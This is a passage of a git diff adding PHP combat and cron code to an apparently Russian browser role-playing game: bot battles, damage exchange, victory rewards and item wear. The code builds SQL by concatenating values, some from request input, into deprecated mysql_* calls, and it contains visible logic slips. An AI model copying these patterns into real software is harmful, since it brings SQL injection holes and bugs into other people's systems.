+ $this->AddToLog ($this->razmen_log("uvorot",$en2att,$this->GetWeaponType($this->enemyhar['weap']),0,$enemy2,$this->en_class,$enemy,$this->my_class,0,0)); + } + elseif($this->GetChance($mf['he']['krit'])) { + // меня кританули + $this->damage[$enemy2] += ($mf['he']['udar']*2); + $this->AddToLog ($this->razmen_log("krit",$en2att,$this->GetWeaponType($this->enemyhar['weap']),($mf['he']['udar']*2),$enemy2,$this->en_class,$enemy,$this->my_class,($this->user['hp']-$mf['he']['udar']*2),$this->user['maxhp'])); + mysql_query('UPDATE bots SET `hp` = `hp` - '.($mf['he']['udar']*2).' WHERE `id` = '.$enemy.''); + } + elseif($this->GetBlock ($en2att,$en1b)) { + // противник попал куда надо + $this->damage[$enemy2] += ($mf['he']['udar']); + $this->AddToLog ($this->razmen_log("udar",$en2att,$this->GetWeaponType($this->enemyhar['weap']),$mf['he']['udar'],$enemy2,$this->en_class,$enemy,$this->my_class,($this->user['hp']-$mf['he']['udar']),$this->user['maxhp'])); + mysql_query('UPDATE bots SET `hp` = `hp` - '.($mf['he']['udar']).' WHERE `id` = '.$enemy.''); + } + else { + // противник мазила + $this->AddToLog ($this->razmen_log("block",$en2att,$this->GetWeaponType($this->enemyhar['weap']),0,$enemy2,$this->en_class,$enemy,$this->my_class,0,0)); + } + + + // удар по противнику + if ($this->GetChance($mf['he']['uvorot'])) + { + // он увернулся; + $this->AddToLog ($this->razmen_log("uvorot",$en1att,$this->GetWeaponType($this->user['weap']),0,$enemy,$this->my_class,$enemy2,$this->en_class,0,0)); + } + elseif($this->GetChance($mf['my']['krit'])) { + // его кританули + $this->damage[$enemy] += ($mf['me']['udar']*2); + $this->AddToLog ($this->razmen_log("krit",$en1att,$this->GetWeaponType($this->user['weap']),($mf['me']['udar']*2),$enemy,$this->my_class,$enemy2,$this->en_class,($this->enemyhar['hp']-$mf['me']['udar']*2),$this->enemyhar['maxhp'])); + + mysql_query('UPDATE `bots` SET `hp` = `hp` - '.($mf['me']['udar']*2).' WHERE `id` = '.$enemy2.''); + + } + elseif($this->GetBlock ($en1att,$en2b)) { + // я попал куда надо + $this->damage[$enemy] += ($mf['me']['udar']); + $this->AddToLog ($this->razmen_log("udar",$en1att,$this->GetWeaponType($this->user['weap']),$mf['me']['udar'],$enemy,$this->my_class,$enemy2,$this->en_class,($this->enemyhar['hp']-$mf['me']['udar']),$this->enemyhar['maxhp'])); + + mysql_query('UPDATE `bots` SET `hp` = `hp` - '.($mf['me']['udar']).' WHERE `id` = '.$enemy2.''); + + } + else { + // я мазила + $this->AddToLog ($this->razmen_log("block",$attack,$this->GetWeaponType($this->user['weap']),0,$enemy,$this->my_class,$enemy2,$this->en_class,0,0)); + } + $this->write_log(); + $this->UpdateBattle (); + + + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".(time())."' WHERE `id` = ".$this->battle_data['id']." LIMIT 1;"); +} + + } + + + + + + + } + + $bots = mysql_query ('SELECT * FROM `bots` WHERE `hp` > 0;'); + + $bb = new botbattle; + while ($bot = mysql_fetch_array($bots)) { + $bd = mysql_fetch_array(mysql_query ('SELECT * FROM `battle` WHERE `id` = '.$bot['battle'].' LIMIT 1;')); + $battle = unserialize($bd['teams']); + // листаем противников, делаем размен. + if ($battle[$bot['id']]) { + foreach ($battle[$bot['id']] as $k => $v) { + if($battle[$bot['id']][$k][0] == 0 && $k > _BOTSEPARATOR_) { + //echo("Bots:".$bot['id']."vs".$k."
    "); + //srand(microtime(true)); + $bb->InitRazmen($bot['id'],$k,$bot['battle']); + } + } + } + //mysql_query('UPDATE `battle` SET `teams` = \''.serialize($battle).'\' WHERE `id` = '.$bot['battle'].' ;'); + } + + //==================================================================================== +/* +$mtime = microtime(); +$mtime = explode(" ",$mtime); +$mtime = $mtime[1] + $mtime[0]; +//Записываем время окончания в другую переменную +$tend = $mtime; +//Вычисляем разницу +$totaltime = ($tend - $tstart); +//Выводим не экран +printf ("PGT: %f секунд", $totaltime); */ + + +//cron pole +//15 минут до старта Поля Чудес + $pole_time=mysql_fetch_array(mysql_query("SELECT * FROM `variables` WHERE var='pole_random';")); + $tp=time(); + if($tp<=$pole_time['value']) +{ + $p_wait=round((($pole_time['value']-$tp)/60),1); + //if($p_wait<5) + //{ AddChatSystem ('Через '.$p_wait.' минут на Поле Чудес вырастет очередной урожай кредитов и еврокредитов.'); } +} + +include('pole_cron.php'); +?> \ No newline at end of file diff --git a/cron_bots.php b/cron_bots.php new file mode 100644 index 0000000..09e442a --- /dev/null +++ b/cron_bots.php @@ -0,0 +1,73 @@ + 0 || mysql_num_rows($r2) > 0) { include('fbattle.php'); } +$battles = array(); +while($rec = mysql_fetch_assoc($r)) { + $fbattles = new fbattle($rec['id']); + foreach($fbattles->battle as $k => $v) { + if($k > _BOTSEPARATOR_) { + foreach($v as $k2 => $v2) { + if($k2 < _BOTSEPARATOR_) continue; + $hp_1 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $hp_2 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k2.'" LIMIT 1')); + if($fbattles->battle[$k][$k2][0] && $fbattles->battle[$k2][$k][0] && $hp_1['hp'] > 0 && $hp_2['hp'] > 0) { + $at_1 = $fbattles->battle[$k][$k2][0]; + $def_1 = $fbattles->battle[$k][$k2][1]; + $at_2 = $fbattles->battle[$k2][$k][0]; + $def_2 = $fbattles->battle[$k2][$k][1]; + $fbattles->makechange($k, $k2, $at_1, $at_2, $def_1, $def_2); + $fbattles->write_log(); + $fbattles->battle[$k][$k2] = array(0, 0, time()); + $fbattles->battle[$k2][$k] = array(0, 0, time()); + $fbattles->needupdate = 1; + if($cond) { $tocond .= " OR "; } + $battles[$rec['id']] = 1; + } + } + } + } + if($fbattles->needupdate) { $fbattles->UpdateBattle(); } +} + +while($rec = mysql_fetch_assoc($r2)) { + $fbattles = new fbattle($rec['id']); + foreach($fbattles->battle as $k => $v) { + if($k > _BOTSEPARATOR_) { + foreach($v as $k2 => $v2) { + if($k2 > _BOTSEPARATOR_) continue; + $hp_1 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $hp_2 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k2.'" LIMIT 1')); + if($hp_1['hp'] > 0 && $hp_2['hp'] > 0) { + $at_1 = $fbattles->battle[$k][$k2][0]; + $def_1 = $fbattles->battle[$k][$k2][1]; + $at_2 = $fbattles->battle[$k2][$k][0]; + $def_2 = $fbattles->battle[$k2][$k][1]; + $fbattles->makechange($k, $k2, $at_1, $at_2, $def_1, $def_2); + $fbattles->write_log(); + $fbattles->battle[$k][$k2] = array(0, 0, time()); + $fbattles->battle[$k2][$k] = array(0, 0, time()); + $fbattles->needupdate = 1; + if($cond) { $tocond .= " or "; } + $battles[$rec['id']] = 1; + } + } + } + } + if($fbattles->needupdate) { $fbattles->UpdateBattle(); } +} + +$cond = ''; +foreach($battles as $k => $v) { + if($cond) { $cond .= " OR "; } + $cond .= " `id` = '$k' "; +} +if($cond) { + mysql_query("UPDATE `battle` SET `to1` = ".time().", `to2` = ".time()." WHERE $cond"); +} \ No newline at end of file diff --git a/cron_bots__battle.php b/cron_bots__battle.php new file mode 100644 index 0000000..7b0dca9 --- /dev/null +++ b/cron_bots__battle.php @@ -0,0 +1,1542 @@ +user = $user; + + if($battle_id > 0) { + $this->status = 1; + $this->battle_data = mysql_fetch_array(mysql_query("SELECT `id`, `coment`, `teams`, `timeout`, `razmen_time`, `type`, `status`, `t1`, `t2`, `date`, `time_m`, `win`, `damage`, `to1`, `to2`, `exp`, `blood`, `t1hist`, `t2hist`, `magic`, `open`, `close`, `protivnik`, `protivnik_type`, `dungeon_bot`, `dn_id`, `aren_of`, `needbb`, `clone`, `fiz` FROM `battle` WHERE `id` = '{$battle_id}' LIMIT 1")); + $this->GetUserTeam(); + $this->damage = unserialize($this->battle_data['damage']); + $this->magic = unserialize($this->battle_data['magic']); + $this->battle = unserialize($this->battle_data['teams']); + $this->exp = unserialize($this->battle_data['exp']); + $this->to1 = $this->battle_data['to1']; + $this->to2 = $this->battle_data['to2']; + + ####################### + $bit1 = 0; $bit2 = 0; + foreach($this->battle as $k => $v) { + if($k < _BOTSEPARATOR_) continue; + $bot['id'] = $k; + if(in_array($k, $this->t1)) { + if(count($v) < count($this->t2)) { + foreach($this->t2 as $k2 => $v2) { + $this->battle[$k][$v2] = array(0, 0, time()); + } + } + $bit1 = 1; + } + if(in_array($k, $this->t2)) { + if(count($v) < count($this->t1)) { + foreach($this->t1 as $k2 => $v2) { + $this->battle[$k][$v2] = array(0, 0, time()); + } + } + $bit2 = 1; + } + foreach($this->battle[$bot['id']] as $k => $v) { + if($this->battle[$bot['id']][$k][0] == 0) { + $this->battle[$bot['id']][$k] = array(rand(2, 3), rand(2, 3), time()); + if($this->battle[$k][$bot['id']][0] != 0 && $k < _BOTSEPARATOR_) { + $this->battle[$k][$bot['id']] = array(0, 0, time()); + } + if($k > _BOTSEPARATOR_) { + $this->needupdate = 1; + } + } + if($this->battle[$k][$bot['id']][0] == 0 && $k < _BOTSEPARATOR_) { + if(in_array($user['id'], array_keys($this->battle[$bot['id']]))) { + if($this->my_class == 'B2') { + if($this->to2 <= $this->to1) { + $endr = ((time()-$this->to2) > $this->battle_data['timeout']*60); + } + } else { + if($this->to2 >= $this->to1) { + $endr = ((time()-$this->to1) > $this->battle_data['timeout']*60); + } + } + } + } + if($endr && !$uje && 0) { + if($user['caveleader'] > 0) { + $this->needrefresh = 1; + } + $this->needupdate = 1; + $this->needrefresh = 1; + $uje = true; + $this->AddToLog("".date("H:i")." Бой закончен по таймауту.
    "); + foreach($this->battle[$bot['id']] as $k => $v) { + if($k > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT `hp`, `prototype` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $us['hp'] = $bots['hp']; + $b = mysql_fetch_array(mysql_query('SELECT `id`, `level` FROM `users` WHERE `id` = "'.$bots['prototype'].'" LIMIT 1')); + $us['level'] = $b['level']; + } else { + $us = mysql_fetch_array(mysql_query('SELECT `hp`, `level` FROM `users` WHERE `id` = "'.$k.'" LIMIT 1')); + } + if($us && (int)$us['hp'] > 0 && $us['level'] > 6) { + $tr = settravma($k, 0, 86400, 1); + if($k < _BOTSEPARATOR_ && $tr) { + $this->AddToLog(''.date("H:i").' '.nick7($k).' получил повреждение: '.$tr.'
    '); + } + } + } + foreach($this->battle[$bot['id']] as $k => $v) { + $this->user[$k]['hp'] = 0; + mysql_query('UPDATE `users` SET `hp` = 0, `fullhptime` = '.time().' WHERE `id` = "'.$k.'"'); + } + } + } + } + $bb = ($bit1+$bit2); + if($this->battle_data['needbb'] != $bb) { + mysql_query("UPDATE `battle` SET `needbb` = '$bb' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } + + ####################### + + if($_POST['enemy'] > 0 && (int)$_POST['attack'] > 0 && (int)$_POST['defend'] > 0) { + $this->InitRazmen($_POST['enemy'], $_POST['attack'], $_POST['defend']); + $this->magic[$user['id']] = 0; + mysql_query("UPDATE `battle` SET `magic` = '".serialize($this->magic)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + header("Location: fbattle.php"); + } else { + $this->GetUserTeam(); + $this->FastDeath(); + $this->enemy = $this->SelectEnemy(); + if($this->enemy) { + $this->return = 1; + } else { + if($this->GetTimeout() && (int)$this->user['hp'] > 0 && !$_POST['victory_time_out2']) { + $this->return = 3; + } else { + $this->magic[$user['id']] = 0; + mysql_query("UPDATE `battle` SET `magic` = '".serialize($this->magic)."' WHERE `id` = '{$this->battle_data['id']}' LIMIT 1"); + $this->return = 2; + } + } + } + + if($_POST['victory_time_out2']) { + $this->end_draft(); + } + + if($_POST['victory_time_out']) { + $this->end_gora(); + } + + if($this->battle_end()) { + $this->return = 2; + } + + $this->write_log(); + return $this->return; + } else { + $this->status = 0; + } + } + + function getmfs($mf, $antimf) { + $vsh = 5 + (($mf - $antimf) / 3); + if($vsh <= 0) { + $final = 0; + } else { + $final = 70 + ($vsh / 100); + } + return $final; + } + + function chanse($p) { + if($p > mt_rand(1, 100)) { + return true; + } else { + return false; + } + } + + function get_info_by_id($id) { + $valid_login = mysql_query('SELECT `id`, `login`, `align`, `level`, `sila`, `lovk`, `inta`, `vinos`, `intel`, `maxhp`, `weap`, `noj`, `dubina`, `topor`, `mec`, `ubron1`, `ubron2`, `ubron3`, `ubron4`, `bot` FROM `users` WHERE `id` = "'.$id.'" AND `bot` = 0 LIMIT 1'); + if(mysql_num_rows($valid_login) == 1) { + $user_info = mysql_fetch_array($valid_login); + } else { + $prototype = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `prototype`, `battle`, `hp` FROM `bots` WHERE `id` = "'.$id.'" LIMIT 1')); + $user_info = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align`, `level`, `sila`, `lovk`, `inta`, `vinos`, `intel`, `maxhp`, `weap`, `noj`, `dubina`, `topor`, `mec`, `ubron1`, `ubron2`, `ubron3`, `ubron4`, `bot` FROM `users` WHERE `id` = "'.$prototype['prototype'].'" LIMIT 1')); + } + return $user_info; + } + + function get_wep_type($idwep) { + if($idwep == 0 || $idwep == null || $idwep == '') { + return "kulak"; + } + $wep = mysql_fetch_array(mysql_query('SELECT `otdel`, `minu` FROM `inventory` WHERE `id` = "'.$idwep.'" LIMIT 1')); + if($wep[0] == '1') { + return "noj"; + } elseif($wep[0] == '12') { + return "dubina"; + } elseif($wep[0] == '11') { + return "topor"; + } elseif($wep[0] == '13') { + return "mech"; + } elseif($wep[0] == '52') { + return "posoh"; + } elseif($wep[1] > 0) { + return "buket"; + } else { + return "kulak"; + } + } + + function get_chanse($persent) { + $mm = 1000000; + if(mt_rand($mm, 100*$mm) <= $persent*$mm) { + return true; + } else { + return false; + } + } + + function get_block($who, $where_atack, $whom, $where_defend) { + $blocks = array('1' => array(1, 2), '2' => array(2, 3), '3' => array(3, 4), '4' => array(4, 1)); + if(!in_array($where_atack, $blocks[$where_defend])) { + return true; + } else { + return false; + } + } + + function add_log($text) { + $this->log .= $text; + } + + function battle_end() { + global $caverooms, $user, $cavebots, $party, $rep; + if($this->battle_data) { + $ss = @array_keys($this->battle); + + $t1life = 0; $t2life = 0; + + foreach($this->t1 as $k => $v) { + if(in_array($v, array_keys($this->battle))) { + $t1life++; + } + } + + foreach($this->t2 as $k => $v) { + if(in_array($v, array_keys($this->battle))) { + $t2life++; + } + } + + if($t2life == 0 || $t1life == 0) { + $charge = mysql_fetch_array(mysql_query('SELECT `win` FROM `battle` WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1')); + } + + if(($t2life == 0 || $t1life == 0) && ($charge[0] == 3 || $charge[0] == 9)) { + + mysql_query("UPDATE `battle` SET `win` = 0 WHERE `id` = '{$this->battle_data['id']}' LIMIT 1"); + + foreach($this->t1 as $k => $v) { + $nks1[] = nick7($v); + $nks1hist[] = nick3($v); + } + + foreach($this->t2 as $k => $v) { + $nks2[] = nick7($v); + $nks2hist[] = nick3($v); + } + + if(in_array($ss[0], $this->t1)) { + $flag = 1; + foreach($this->t1 as $k => $v) { + mysql_query('UPDATE `battle` SET `win` = 1 WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1'); + + $this->t1[$k] = nick5($v, " "); + + if($this->battle_data['aren_of'] == 1 && $this->t1[$k] && $v < _BOTSEPARATOR_) { + mysql_query('INSERT INTO `logs_arena` (`battle`, `user`, `uid`, `damage`, `team`) VALUES ("'.$this->battle_data['id'].'", "'.$this->t1[$k].'", "'.$v.'", "'.$this->damage[$v].'", "1")'); + } + + if($this->user['in_tower'] > 0) { + + } + + if($this->user['x'] != 0 || $this->user['y'] != 0 && $this->user['laba'] > 0) { + $lobj = mysql_fetch_array(mysql_query('SELECT * FROM `laba_obj` WHERE `lib` = "'.$this->user['laba'].'" AND `x` = "'.$this->user['x'].'" AND `y` = "'.$this->user['y'].'" LIMIT 1')); + if(isset($lobj['id'])) { + $q2 = mysql_fetch_array(mysql_query('SELECT * FROM `qst_user` WHERE `uid` = "'.$this->user['id'].'" AND `cancel` = "0" AND `finish` = "0" LIMIT 1')); + if(isset($q2['id'])) { + $q1 = mysql_fetch_array(mysql_query('SELECT * FROM `qst` WHERE `id` = "'.$q2['qid'].'" LIMIT 1')); + if($q1['type'] == 3) { + $jobs = 0; + $sp = mysql_query('SELECT * FROM `bots` WHERE `battle` = "'.$this->battle_data['id'].'"'); + while($pl = mysql_fetch_array($sp)) { + if($q1['obj_id'] == $pl['prototype']) { + $jobs++; + } + } + mysql_query('UPDATE `qst_user` SET `val` = "'.($q2['val'] + $jobs).'" WHERE `id` = "'.$q2['id'].'" LIMIT 1'); + } + } + mysql_query('UPDATE `laba_obj` SET `use` = "'.time().'" WHERE `lib` = "'.$lobj['lib'].'" AND `x` = "'.$lobj['x'].'" AND `y` = "'.$lobj['y'].'"'); + } + } + + $this->exp[$v] = round($this->exp[$v]); + $dop_exp = check_proc($this->user['id']); + if($dop_exp > 100) { + $add = ($dop_exp-100); + $this->exp[$v] += round(($this->exp[$v]*$add)/100, 0); + } + + if($user['caveleader'] > 0 || $user['laba'] > 0) { + if($this->damage[$v] > 1) { + $this->exp[$v] = mt_rand(5, 10); + } else { + $this->exp[$v] = 0; + } + } + + if(empty($this->damage[$v])) { + $this->damage[$v] = 0; + } + + if($user['caveleader'] > 0 || $user['laba'] > 0) { + $rep = floor($this->damage[$v]/300); + if($rep <= 0) { + $rep = 0; + } + $ads = '. Репутации: '.$rep.' ед.'; + } else { + $rep = 0; + $ads = '.'; + } + + if($this->battle_data['clone'] == 1 && $this->battle_data['fiz'] == 0) { + addActions(time(), 'kill_clone', 0, $this->user['id']); + } + + if($this->battle_data['type'] == 3) { + addActions(time(), 'win_haot', 0, $this->user['id']); + } + + if($this->battle_data['fiz'] == 1) { + addActions(time(), 'win_fiz', 0, $this->user['id']); + } + + addchp('Внимание! Победа! Бой окончен. Всего вами нанесено урона : '.$this->damage[$v].' HP. Получено опыта : '.$this->exp[$v].' ('.$dop_exp.'%)'.$ads.' ', '{[]}'.nick7 ($v).'{[]}'); + + mysql_query('UPDATE `users` SET `win` = (`win` +1), `fullhptime` = '.time().' WHERE `id` = "'.$v.'"'); + GiveExp($v, $this->exp[$v]); + if($user['caveleader'] > 0 || $user['laba'] > 0) { + GiveRep($v, $rep); + } + if($user['klan']) { + mysql_query('UPDATE `clans` SET `clanexp` = (`clanexp`+'.(int)$this->exp[$user['id']].') WHERE `id` = "'.$v[$user['klan']].'" LIMIT 1'); + } + + } + $winers .= implode(", ", $this->t1); + $lomka = $this->t2; + include('cave/win.php'); + } elseif(in_array($ss[0], $this->t2)) { + $flag = 2; + foreach($this->t2 as $k => $v) { + mysql_query('UPDATE `battle` SET `win` = 2 WHERE `id` = "'.$this->user['battle'].'" LIMIT 1'); + $this->t2[$k] = nick5($v, ""); + + if($this->battle_data['aren_of'] == 1 && $this->t2[$k] && $v < _BOTSEPARATOR_) { + mysql_query('INSERT INTO `logs_arena` (`battle`, `user`, `uid`, `damage`, `team`) VALUES ("'.$this->user['battle'].'", "'.$this->t1[$k].'", "'.$v.'", "'.$this->damage[$v].'", "2")'); + } + + if($this->user['laba'] > 0) { + mysql_query('UPDATE `users` SET `x` = "'.$this->user['xf'].'", `y` = "'.$this->user['yr'].'" WHERE `id` = "'.$this->user['id'].'" LIMIT 1'); + } + + $this->exp[$v] = round($this->exp[$v]); + $dop_exp = check_proc($this->user['id']); + if($dop_exp > 100) { + $add = ($dop_exp-100); + $this->exp[$v] += round(($this->exp[$v]*$add)/100, 0); + } + + if($user['caveleader'] > 0 || $user['laba'] > 0) { + if($this->damage[$v] > 1) { + $this->exp[$v] = mt_rand(5, 10); + } else { + $this->exp[$v] = 0; + } + } + + if($this->battle_data['clone'] == 1 && $this->battle_data['fiz'] == 0) { + addActions(time(), 'kill_clone', 0, $this->user['id']); + } + + if($this->battle_data['type'] == 3) { + addActions(time(), 'win_haot', 0, $this->user['id']); + } + + if($this->battle_data['fiz'] == 1) { + addActions(time(), 'win_fiz', 0, $this->user['id']); + } + + if(in_array($user['room'], $caverooms)) { + $location = mysql_fetch_array(mysql_query("SELECT `x`, `y`, `dir` FROM `caveparties` WHERE `user` = '".$this->user['id']."' LIMIT 1")); + if($location['dir'] == 0) { $y = $location['y']*2; $x = ($location['x']-1)*2; } + if($location['dir'] == 1) { $y = ($location['y']-1)*2; $x = $location['x']*2; } + if($location['dir'] == 2) { $y = $location['y']*2; $x = ($location['x']+1)*2; } + if($location['dir'] == 3) { $y = ($location['y']+1)*2; $x = $location['x']*2; } + mysql_query("UPDATE `cavebots` SET `battle` = 0 WHERE `battle` = '".$this->battle_data['id']."'"); + } + + addchp('Внимание! Победа! Бой окончен. Всего вами нанесено урона : '.(int)$this->damage[$v].' HP. Получено опыта '.$this->exp[$v].' ('.$dop_exp.'%). ','{[]}'.nick7 ($v).'{[]}'); + + mysql_query('UPDATE `users` SET `win` = (`win`+1), `fullhptime` = '.time().' WHERE `id` = "'.$v.'"'); + GiveExp($v, $this->exp[$v]); + } + + $winers .= implode(", ", $this->t2); + $lomka = $this->t1; + } else { + if(in_array($user['room'], $caverooms)) { + $location = mysql_fetch_array(mysql_query("SELECT `x`, `y`, `dir` FROM `caveparties` WHERE `user` = '".$this->user['id']."' LIMIT 1")); + if($location['dir'] == 0) { $y = $location['y']*2; $x = ($location['x']-1)*2; } + if($location['dir'] == 1) { $y = ($location['y']-1)*2; $x = $location['x']*2; } + if($location['dir'] == 2) { $y = $location['y']*2; $x = ($location['x']+1)*2; } + if($location['dir'] == 3) { $y = ($location['y']+1)*2; $x = $location['x']*2; } + mysql_query("UPDATE `cavebots` SET `battle` = 0 WHERE `battle` = '".$this->battle_data['id']."'"); + } + + if($this->battle_data['x'] > 0 || $this->battle_data['y'] > 0 && $this->user['laba'] > 0) { + mysql_query('UPDATE `users` SET `x` = "'.$this->user['xf'].'", `y` = "'.$this->user['yr'].'" WHERE `laba` = "'.$this->user['laba'].'" AND `x` = "'.$this->battle_data['x'].'" AND `y` = "'.$this->battle_data['y'].'" AND `battle` = "'.$this->battle_data['id'].'" LIMIT 1'); + } + include("cave/lose.php"); + } + + if($lomka) { + $haos_flag = 0; + foreach($lomka as $k => $v) { + if(mt_rand(1, 6) == 1) { + $us = mysql_query('UPDATE `inventory` SET `duration` = (`duration`+1) WHERE `type` != 12 AND `dressed` = 1 AND `owner` = \''.$v.'\''); + } + + $inv_broken = mysql_query("SELECT * FROM `inventory` WHERE `type` != 12 AND `dressed` = 1 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."')) AND `owner` = '{$v}'"); + while($br = mysql_fetch_array($inv_broken)) { + dropitemid($br['type'], $v); + } + + $its = mysql_query("SELECT `id` FROM `inventory` WHERE `dressed` = 0 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."')) AND `owner` = '{$v}'"); + while($it = mysql_fetch_array($its)) { + mysql_query("DELETE FROM `inventory` WHERE `id` = '".$it['id']."' LIMIT 1"); + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '\"".$it['name']."\" разрушился id : (".$it['id'].").', '1', '".time()."')"); + } + + $this->exp[$v] = 0; + addchp('Внимание! Поражение! Бой окончен. Всего вами нанесено урона : '.(int)$this->damage[$v].' HP. Получено опыта 0.', '{[]}'.nick7 ($v).'{[]}'); + mysql_query('UPDATE `users` SET `lose` = (`lose`+1) WHERE `id` = \''.$v.'\''); + } + } + + foreach($this->t1 as $k => $v) { + $us = mysql_query('SELECT `duration`, `maxdur`, `name` FROM `inventory` WHERE `type` != 12 AND `dressed` = 1 AND `owner` = \''.$v.'\''); + while($rrow = mysql_fetch_row($us)) { + if(($rrow[1]-$rrow[0]) == 1) { + $this->AddToLog(''.date("H:i").' Внимание! У "'.nick7($v).'" предмет "'.$rrow[2].'" в критическом состоянии!
    (на правах рекламы) Ремонтная мастерская . Мы даем вторую жизнь старым вещам!
    '); + } elseif(($rrow[1]-$rrow[0]) == 2) { + $this->AddToLog(''.date("H:i").' Внимание! У "'.nick7($v).'" предмет "'.$rrow[2].'" нуждается в ремонте!
    (на правах рекламы) Ремонтная мастерская . Мы даем вторую жизнь старым вещам!
    '); + } + } + } + + foreach($this->t2 as $k => $v) { + $us = mysql_query('SELECT `duration`, `maxdur`, `name` FROM `inventory` WHERE `type` != 12 AND `dressed` = 1 AND `owner` = \''.$v.'\''); + while($rrow = mysql_fetch_row($us)) { + if(($rrow[1]-$rrow[0]) == 1) { + $this->AddToLog(''.date("H:i").' Внимание! У "'.nick7($v).'" предмет '.$rrow[2].' в критическом состоянии!
    (на правах рекламы) Ремонтная мастерская . Мы даем вторую жизнь старым вещам!
    '); + } elseif(($rrow[1]-$rrow[0]) == 2) { + $this->AddToLog(''.date("H:i").' Внимание! У "'.nick7($v).'" предмет "'.$rrow[2].'" нуждается в ремонте!
    (на правах рекламы) Ремонтная мастерская . Мы даем вторую жизнь старым вещам!
    '); + } + } + } + + if($winers) { + if($this->battle_data['aren_of'] == 1) { + $arr_battle = mysql_fetch_array(mysql_query('SELECT `id`, `win`, `aren_of` FROM `battle` WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1')); + $us_win = mysql_query('SELECT `id`, `user`, `uid`, `team` FROM `logs_arena` WHERE `team` = "'.$arr_battle['win'].'" AND `battle` = "'.$this->battle_data['id'].'" ORDER BY `damage` DESC LIMIT 3'); + while($win = mysql_fetch_array($us_win)) { + $uss .= ', '; + $uss .= $win['user']; + mysql_query('INSERT INTO `effects` (`type`, `name`, `time`, `hp`, `owner`) VALUES ("7", "Эйфория", "'.(time()+60*60*24).'", "200", "'.$win['uid'].'")'); + mysql_query('UPDATE `users` SET `maxhp` = (`maxhp`+200) WHERE `id` = "'.$win['uid'].'" LIMIT 3'); + mysql_query('INSERT INTO `effects` (`type`, `name`, `time`, `proc_exp`, `owner`) VALUES ("6", "Повешенный опыт (200%)", "'.(time()+60*60*24).'", "100", "'.$win['uid'].'")'); + } + + $bad = mysql_query('SELECT `id`, `uid`, `team` FROM `logs_arena` WHERE `team` != "'.$arr_battle['win'].'" AND `battle` = "'.$this->battle_data['id'].'" ORDER BY `damage` DESC LIMIT 3'); + while($give = mysql_fetch_array($bad)) { + mysql_query('INSERT INTO `effects` (`type`, `name`, `time`, `proc_exp`, `owner`) VALUES ("6", "Повешенный опыт (150%)", "'.(time()+60*60*24).'", "50", "'.$give['uid'].'")'); + } + + if($uss != '') { + $uss = ltrim($uss, ', '); + } else { + $uss = '-Игроков не было в бою-'; + } + + if($arr_battle['win'] == 1) { + AddChatSystem("Внимание! Тьма одержала победу благодаря великим воинам : $uss"); + $this->AddToLog(''.date("H:i").' '.'Бой закончен, победа за Силами Тьмы
    '); + } else { + AddChatSystem("Внимание! Свет одержал победу благодаря великим воинам : $uss"); + $this->AddToLog(''.date("H:i").' '.'Бой закончен, победа за Силами Света
    '); + } + mysql_query('UPDATE `variables` SET `value` = "'.$arr_battle['win'].'" WHERE `var` = "arena_win" LIMIT 1'); + mysql_query('UPDATE `battle` SET `aren_of` = 0 WHERE `id` = "'.$arr_battle['id'].'" AND `aren_of` = 1 LIMIT 1'); + } else { + $this->AddToLog(''.date("H:i").' '.'Бой закончен, победа за '.$winers.'
    '); + } + unset($uss); + + if($this->battle_data['blood']) { + $this->AddToLog(''.date("H:i").' ... и победители стали калечить проигравших...
    '); + foreach($lomka as $k => $v) { + if($this->battle_data['blood'] == 2) { + $tr = settravma($v, 13, 86400, 1); + } else{ + $tr = settravma($v, 0, 86400, 1); + } + + if($v < _BOTSEPARATOR_) { + $this->AddToLog(''.date("H:i").' '.nick7($v).' получил повреждение: '.$tr.'
    '); + $inv_broken = mysql_query("SELECT `id`, `type`, `dressed`, `duration`, `maxdur`, `dategoden`, `owner` FROM `inventory` WHERE `type` != 12 AND `dressed` = 1 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."')) AND `owner` = '{$v}'"); + while($br = mysql_fetch_array($inv_broken)) { + dropitemid($br['type'], $v); + } + } + } + } + } else { + if($this->battle_data['aren_of'] == 1) { + AddChatSystem("Внимание! Бой на Арене Ангелов завершился ничьей, на этой недели силы тьмы и света равны."); + mysql_query('UPDATE `variables` SET `value` = 3 WHERE `var` = "arena_win" LIMIT 1'); + mysql_query('UPDATE `battle` SET `aren_of` = 0 WHERE `id` = "'.$arr_battle['id'].'" AND `aren_of` = 1 LIMIT 1'); + } + + $this->AddToLog(''.date("H:i").' '.'Бой закончен. Ничья.
    '); + mysql_query("UPDATE `users` SET `battle` = 0, `nich` = (`nich`+1), `fullhptime` = ".time()." WHERE `battle` = '{$this->user['battle']}'"); + $this->exp = 0; + } + + if($flag == 1) { + $rr = implode("
